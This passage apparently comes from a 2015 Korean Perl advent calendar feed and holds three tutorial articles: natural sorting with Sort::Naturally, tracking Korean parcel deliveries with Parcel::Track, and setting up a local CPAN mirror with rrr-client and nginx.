<pre class="brush: bash;">
$ cpan Sort::Naturally
</pre>
<h2>내츄럴리?</h2>
<p>주섬주섬 CPAN 모듈을 주워담아서 돌려봅니다.</p>
<pre class="brush: perl;">
use v5.22; # 자신의 펄에 맞는 버전을 사용하면 됩니다.
use Sort::Naturally;
my @titles = (
...
);
for my $title ( Sort::Naturally::nsort @titles ) { say $title }
</pre>
<p>극도로 단순해졌습니다. '맙소사. 내츄럴리 리얼리? 내가 낑낑댄 어제는 뭐였지? 역시 나는
이 일을 주업으로 해서는 안되었나봐'라며 자책합니다.</p>
<h2>정리하며</h2>
<p>인생과 기사는 모두 상황극의 연속입니다.
위 내용은 실제 업무 환경 및 행태와는 다르오니 부디 오해가 없으시길 바랍니다.
실제로 데이터는 정말 어처구니가 없는 형식으로 올 때가 많기 때문에 그때 그때 적절한 필터링
규칙을 추가하면서 진행하겠지만, 일단은 어느 정도 만족할 만한 결과가 나왔습니다.
위처럼 코드간 단순해진 것도 확인할 수 있죠.</p>
<p>아무튼 <code>Sort::Naturally</code>와는 좋은 만남이 계속되고 있습니다. :-)</p>
2015-12-03T00:00:00+09:00JEEN_LEE내 택배가 어디쯤 왔을까?http://advent.perl.kr/2015/2015-12-02.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>대부분의 직장인들에게 택배는 주문 및 결제를 완료한 순간부터 관심 그 자체입니다.
'늦게 주문했는데 내일 올까? 아니 일괄 배송 시간이 지났으니 모레나 올거야.' 등
사실 우리가 택배가 어디있는지 관심을 보이든 보이지 않든 택배가 대문 앞에 도착하는
시간에는 하등 차이가 없음에도 관심을 놓을 수 없다는 것이 사실이긴 하지만요. :)
대부분의 택배사는 물류 및 배송 조회 서비스를 홈페이지에 제공하고 있으므로
이를 이용해도 되고, 각 쇼핑몰 홈페이지나, 택배 전용 모바일 전용 앱을 통해서도
배송현황을 조회할 수 있으니 세상 참 많이 편해졌죠?
하지만 역시 우리는 펄 해커! 해커에게 모든 것의 기본은 명령줄이죠?
꼭 해커여서가 아니더라도 명령줄에서 택배를 열람할 수 있다면
여러분이 상상해서 만들 수 있는 것이 더 많아질지도 모르겠네요.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Parcel::Track">CPAN의 Parcel::Track 모듈</a></li>
<li><a href="https://metacpan.org/pod/Parcel::Track::KR::CJKorea">CPAN의 Parcel::Track::KR::CJKorea 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan \
Parcel::Track \
Parcel::Track::KR::CJKorea
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan \
Parcel::Track \
Parcel::Track::KR::CJKorea
</pre>
<h2 id="parcel::track">Parcel::Track</h2>
<p><code>Parcel::Track</code> 모듈은 택배 추적을 위해 API를 제공하는 드라이버 기반의 모듈입니다.
말이 복잡한데 간단하게 말하면 <code>Parcel::Track</code> 모듈 자체는 API만 제공하며,
하부의 별도 드라이버 모듈이 각 배송사 별 택배 추적 기능을 구현하는 것입니다.
이렇게 구현함으로써 사용자는 API 모듈의 일관된 사용법을 이용해서 드라이버만
변경하며 간단히 택배를 추적할 수 있습니다.</p>
<p>현재 <code>Parcel::Track</code> 모듈을 지원하는 드라이버 모듈의 목록은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Parcel::Track::KR::CJKorea">CPAN의 Parcel::Track::KR::CJKorea 모듈</a></li>
<li><a href="https://metacpan.org/pod/Parcel::Track::KR::Dongbu">CPAN의 Parcel::Track::KR::Dongbu 모듈</a></li>
<li><a href="https://metacpan.org/pod/Parcel::Track::KR::Hanjin">CPAN의 Parcel::Track::KR::Hanjin 모듈</a></li>
<li><a href="https://metacpan.org/pod/Parcel::Track::KR::KGB">CPAN의 Parcel::Track::KR::KGB 모듈</a></li>
<li><a href="https://metacpan.org/pod/Parcel::Track::KR::PostOffice">CPAN의 Parcel::Track::KR::PostOffice 모듈</a></li>
<li><a href="https://metacpan.org/pod/Parcel::Track::KR::Yellowcap">CPAN의 Parcel::Track::KR::Yellowcap 모듈</a></li>
</ul>
<p><a href="https://www.doortodoor.co.kr/main/index.jsp">CJ대한통운</a> 택배사를 기준으로 설명하기 때문에
<code>Parcel::Track::KR::CJKorea</code> 모듈을 설치했지만, 실제로 다른 배송사의 택배까지
조회하려면 나머지 모듈도 설치해야 합니다.</p>
<p><code>Parcel::Track</code> 모듈의 API는 매우 간단합니다.
네 개의 메소드를 제공하는데 각각의 메소드도 매우 직관적입니다.
메소드의 목록은 다음과 같습니다.</p>
<ul>
<li><code>new</code></li>
<li><code>id</code></li>
<li><code>uri</code></li>
<li><code>track</code></li>
</ul>
<p>대부분의 사용자는 <code>new</code> 메소드로 객체를 생성한 후 <code>track</code> 메소드로
배송 정보를 조회하는 것으로 원하는 작업은 마무리 됩니다.</p>
<pre class="brush: perl;">
# Create a tracker
my $tracker = Parcel::Track->new( 'KR::CJKorea', '690256848955' );
</pre>
<p>다른 배송사의 택배를 조회한다면 <code>Pracel::Track</code> 모듈 객체 생성시
첫 번째 인자인 드라이버 이름을 변경합니다.
<a href="http://www.epost.go.kr/main.retrieveMainPage.comm">우체국 택배</a>를 예로 든다면 코드를 다음과 같이 변경해야 합니다.</p>
<pre class="brush: perl;">
# Create a tracker
my $tracker = Parcel::Track->new( 'KR::PostOffice', '1234567890' );
</pre>
<p>물론 <code>Parcel::Track::KR::PostOffice</code> 모듈을 설치하는 것을 잊으시면 안되겠죠?</p>
<pre class="brush: perl;">
# ID & URI
print $tracker->id . "\n";
print $tracker->uri . "\n";
</pre>
<p>배송 조회와는 별개로 <code>id</code> 메소드를 이용하면 생성자에 운송장 번호를 열람할 수 있고,
<code>uri</code> 메소드를 이용하면 웹브라우저를 통해 배송 조회 열람 페이지에 바로 접근할 수 있는
웹 주소를 획득할 수 있습니다.</p>
<pre class="brush: perl;">
# Track the information
my $result = $tracker->track;
</pre>
<p>실제로 택배사 홈페이지를 통해 배송 조회 정보를 얻기 위해서는 <code>track</code> 메소드를 호출해야 합니다.
호출한 결과는 해시 참조(reference)로 반환되며 이 해시에는 다음과 같은 해시 키 안에 정보가 들어있습니다.</p>
<ul>
<li><code>from</code>: 스칼라, 보낸 사람 정보</li>
<li><code>to</code>: 스칼라, 받는 사람 정보</li>
<li><code>result</code>: 스칼라, 호출한 시점 배송 최종 상태</li>
<li><code>descs</code>: 배열 참조, 배송 출발 부터 시작해서 현 시점까지 배송 상태</li>
<li><code>htmls</code>: 배열 참조, 실제 웹페이지의 HTML 조회 영역</li>
</ul>
<h2>배송 조회</h2>
<p>CJ대한통운을 기준으로 운송장 조회를 하는 전체 코드를 살펴보죠.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use utf8;
use strict;
use warnings;
use Parcel::Track;
use Encode qw( decode_utf8 );
binmode STDOUT, ':encoding(UTF-8)';
# Create a tracker
my $tracker = Parcel::Track->new( 'KR::CJKorea', '690256848955' );
# ID & URI
print $tracker->id . "\n";
print $tracker->uri . "\n";
# Track the information
my $result = $tracker->track;
# Get the information what you want.
if ( $result ) {
print decode_utf8( "$result->{from}\n" );
print decode_utf8( "$result->{to}\n" );
print decode_utf8( "$result->{result}\n" );
print decode_utf8("$_\n") for @{ $result->{descs} };
print decode_utf8("$_\n") for @{ $result->{htmls} };
}
else {
print "Failed to track information\n";
}
</pre>
<p>실행한 결과 화면은 다음과 같습니다.</p>
<p><img src="2015-12-02-1_r.png" alt="result-parcel-track" id="result-parcel-track" />
<em>그림 1.</em> 배송 조회 결과 (<a href="2015-12-02-1.png">원본</a>)</p>
<h2>정리하며</h2>
<p>제 경우 <a href="http://theopencloset.net/">후원하는 단체</a>의 내부 물류를 전산화하는 과정 중
물품 반납시 손쉽게 배송 추적을 할 수 있도록 지원하면서 만들고, 사용한 모듈입니다.
이미 택배사 홈페이지와 모바일 앱으로 조회가 가능하지만, 하루에도 백여건 이상의
택배가 오고 가는 곳에서 이를 일일이 사람이 운송장 번호를 입력하고 눈으로 확인하는
것은 무척 고된 일이죠. (물론 실제로 고되게 일했었습니다만...)</p>
<p>택배 배송 조회는 기술적으로 어려운 작업이 아닙니다.
다만 번거롭고 지저분한 작업일 뿐이죠.
국내 배송사가 멋드러지게 REST API를 제공해주리라고 기대하는 것은 무리기도 하구요.
(물론 계약을 맺고, 비용을 지불한 뒤 API를 제공받는 경우는 제외하죠. :)
펄(Perl)과 <a href="http://www.cpan.org/">CPAN</a>은 여러분의 손을 조금이라도
덜 더럽힐 수 있게 항상 준비되어 있다는 사실을 잊지마세요!</p>
<p>Enjoy Your Perl! ;-)</p>
<p>P.S.</p>
<p>그나저나 금요일에 주문한 제 택배는 왜 아직도 배송중일까요? :,-(</p>
<p><em>EOT</em></p>
2015-12-02T00:00:00+09:00keediCPAN을 내 품에http://advent.perl.kr/2015/2015-12-01.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>펄 사용자에게 있어서 <a href="#cpan">CPAN</a>(Comprehensive Perl Archive Network)은 정말 거대한 보물 창고입니다.
홈페이지의 설명에 보다보면 심지어 "LWPs, POEs, and DBIs -- oh my!"와 같은 부제가 달려있기도 하죠.</p>
<p><img src="2015-12-01-1_r.png" alt="CPAN" id="cpan" />
<em>그림 1.</em> CPAN: LWPs, POEs, and DBIs -- oh my! (<a href="2015-12-01-1.png">원본</a>)</p>
<p>CPAN은 1995년에 시작해서 현재까지 규모가 꾸준히 증가해서 기사를 쓰는 현 시점 기준으로
CPAN에는 157,981개의 펄 모듈과 32,708개의 배포판과 12,469명의 저자, 235개의 서버가 있습니다.
사실 CPAN은 한국에도 미러서버가 많은지라 대부분의 경우 불편함을 느끼지는 못합니다.
하지만 모듈을 개발한다던가, 다수의 장비에 다수의 모듈을 빈번하게 설치하고, 관리하고,
배포하는 경우 지역의 미러 서버를 이용한다하더라도 속도 측면에서 불편함이 있긴합니다.
이런 경우 단체 또는 사내, 심지어 개인 서버에 미러 서버를 구축하면 모듈 설치 및
업데이트 속도를 획기적으로 개선할 수 있습니다.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/File::Rsync::Mirror::Recent">CPAN의 File::Rsync::Mirror::Recent 모듈</a></li>
</ul>
<p>직접 <a href="#cpan">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan File::Rsync::Mirror::Recent
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan File::Rsync::Mirror::Recent
</pre>
<h2>미러링</h2>
<p><code>File::Rsync::Mirror::Recent</code> 모듈은 <a href="https://metacpan.org/pod/distribution/File-Rsync-Mirror-Recent/bin/rrr-client">rrr-client</a>라는
명령줄 유틸리티를 제공합니다. <code>rrr-client</code>는 원격 서버의 갱신 사항을 지속적으로
지역쪽에 반영해서 미러 서버가 제 역할을 할 수 있도록 도와주는 도구입니다.
이 외에도 미러링 서버를 지원하기 위한 다양한 도구가 있으니 <a href="https://metacpan.org/pod/File::Rsync::Mirror::Recent">공식 문서</a>를 확인하세요.</p>
<p>거창하게 설명하지만 사용법 자체는 생각보다 간단합니다.</p>
<pre class="brush: bash;">
$ rrr-client --source <source to mirror from> --target <destination directory>
</pre>
<p>놀랍지만 이것이 전부입니다. 사실 <code>F:R:M:R</code> 모듈은 <a href="https://rsync.samba.org/">rsync</a>에 기반해서 동작하면서
더욱 효율적으로 미러링을 할 수 있도록 내부적으로 처리합니다.
따라서 <code>rsync</code>와 <code>F:R:M:R</code>을 병행해서 사용할 때는 처리 방식에 따른 문제로 인해
미러가 오염될 여지가 있으므로 공식 문서를 참조해서 정교하게 사용해야 합니다.</p>
<p>준비한 서버의 사용자 계정이 <code>cpan</code>이고 <code>~/CPAN</code> 디렉터리에 미러링을 한다고 가정해보죠.</p>
<pre class="brush: bash;">
$ rrr-client \
--source cpan-rsync.perl.org::CPAN/RECENT.recent \
--target /home/cpan/CPAN
</pre>
<p>얼마간의 시간이 지나면 미러가 마무리 되고 <code>~/CPAN</code> 디렉터리 하부에는 CPAN 사이트가
통째로 복제되어 있을 것입니다. 이제, 정적 페이지를 웹으로 제공하기 위해 웹서버 설정을
해야 합니다. <a href="http://nginx.org/">nginx</a> 기준으로 설정 파일을 살펴보죠.</p>
<pre class="brush: plain;">
server {
server_name cpan.mysite.com;
listen 80;
root /home/cpan/public_html;
error_page 404 /404.html;
location / {
index index.html;
}
access_log /var/log/nginx/cpan.mysite.com/access.log;
error_log /var/log/nginx/cpan.mysite.com/error.log;
large_client_header_buffers 4 16k;
}
</pre>
<p>제대로 설정했다면 nginx를 재구동한 뒤 설정한 도메인으로 접속하면 cpan과 동일한 화면을
확인 할 수 있습니다.</p>
<h2>미러 사용</h2>
<p>구슬이 서말이라도 꿰어야 보배라죠? 미러를 설정했으면 해당 미러를 이용해서 설치해야죠.
미러를 사용하는 방법 역시 간단합니다. <code>cpan</code>을 사용한다면 다음 명령을 이용하세요.</p>
<pre class="brush: bash;">
$ cpan
cpan[1]> o conf urllist
urllist
0 [http://httpupdate3.cpanel.net/CPAN/]
1 [http://httpupdate23.cpanel.net/CPAN/]
2 [http://mirrors.servercentral.net/CPAN/]
3 [ftp://cpan.cse.msu.edu/]
cpan[2]> o conf urllist unshift http://cpan.mysite.com
cpan[3]> o conf commit
cpan[4]> q
$ cpan
cpan[1]> install Foo::Bar
</pre>
<p><a href="https://metacpan.org/pod/App::cpanminus">App::cpanminus</a>를 사용한다면 조금 더 간단하게 미러를 사용할 수 있습니다.</p>
<pre class="brush: bash;">
$ cpanm --mirror http://cpan.mysite.com Foo::Bar
</pre>
<h2>정리하며</h2>
<p>CPAN은 항상 우리 곁에 있는 소중한 보물 창고입니다.
가끔씩은 여러가지 이유로 CPAN에 접속하기가 힘들 때도 있죠.
또는 CPAN을 공격적으로 사용하고 싶은데 속도 때문에 효율이 떨어지는 경우도 있고,
또 이 모든 이유가 아니더라도 왠지 CPAN을 내 피씨 또는 내 서버에 복사본을 갖고
싶다는 단순한 이유일 수도 있습니다.
물론 여러분이 훌륭한 네트워크를 가지고 있어서 펄 커뮤니티에 공헌하고 싶어서 일수도 있구요.
펄과 CPAN은 포함하는 라이브러리 뿐만 아니라 그 자체 역시도 모두 자유를 추구하고
갈망하는 오픈소스 프로젝트입니다.
CPAN의 수많은 미러 서버와 그 미러링을 하는 도구 조차 CPAN 안에 있다는 사실은 나름 오묘하죠?
CPAN과 펄 둘 모두 여러분에게도 언제나 열려 있다는 점 잊지마세요!</p>
<p>Enjoy Your Perl! ;-)</p>
<p><em>EOT</em></p>
2015-12-01T00:00:00+09:00keedi